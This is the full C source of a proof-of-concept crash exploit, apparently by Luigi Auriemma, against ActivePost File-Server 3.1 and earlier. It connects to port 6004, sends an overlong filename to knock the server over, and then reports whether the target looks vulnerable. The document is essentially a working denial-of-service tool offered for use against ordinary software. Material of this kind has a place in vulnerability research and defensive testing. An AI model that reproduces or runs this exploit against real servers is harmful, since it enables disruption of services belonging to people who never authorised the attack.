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- /*
-
- by Luigi Auriemma
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #endif
-
-
-
- #define VER "0.1"
- #define PORT 6004
- #define BUFFSZ 4104 /* don't modify! */
- #define TIMEOUT 3
-
- #define SEND if(send(sd, buff, BUFFSZ, 0) \
- < 0) std_err();
- #define RECV for(tot = 0; tot < BUFFSZ; tot += len) { \
- len = recv(sd, buff + tot, BUFFSZ - tot, 0); \
- if(len < 0) std_err(); \
- if(!len) break; \
- }
-
-
-
- int timeout(int sock);
- u_long resolv(char *host);
- void std_err(void);
-
-
-
- int main(int argc, char *argv[]) {
- struct sockaddr_in peer;
- int sd,
- len,
- tot;
- u_short port = PORT;
- u_char buff[BUFFSZ];
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "ActivePost File-Server <= 3.1 crash "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\nUsage: %s <server> [port(%d)]\n"
- "\n", argv[0], PORT);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- if(argc > 2) port = atoi(argv[2]);
-
- peer.sin_addr.s_addr = resolv(argv[1]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
- printf("\n- target %s:%hu\n",
- inet_ntoa(peer.sin_addr), port);
-
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0) std_err();
-
- if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
-
- memset(buff, 0x00, BUFFSZ);
-
- fputs("- send first header\n", stdout);
- *(u_long *)buff = 0x1f5;
- SEND;
- RECV;
-
- fputs("- send filename (BOOM)\n", stdout);
- *(u_long *)buff = 0x1f6;
- memset(buff + 8, 'a', BUFFSZ - 8);
- SEND;
- RECV;
-
- memset(buff, 0x00, BUFFSZ);
-
- fputs("- send file data (none)\n", stdout);
- *(u_long *)buff = 0x1f8;
- SEND;
-
- fputs("- send final header\n", stdout);
- *(u_long *)buff = 0x1f9;
- SEND;
-
- if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {
- fputs("\nServer IS vulnerable!!!\n\n", stdout);
- } else {
- fputs("\nServer doesn't seem vulnerable\n\n", stdout);
- }
-
- close(sd);
- return(0);
- }
-
-
-
- int timeout(int sock) {
- struct timeval tout;
- fd_set fd_read;
- int err;
-
- tout.tv_sec = TIMEOUT;
- tout.tv_usec = 0;
- FD_ZERO(&fd_read);
- FD_SET(sock, &fd_read);
- err = select(sock + 1, &fd_read, NULL, NULL, &tout);
- if(err < 0) std_err();
- if(!err) return(-1);
- return(0);
- }
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)(hp->h_addr);
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-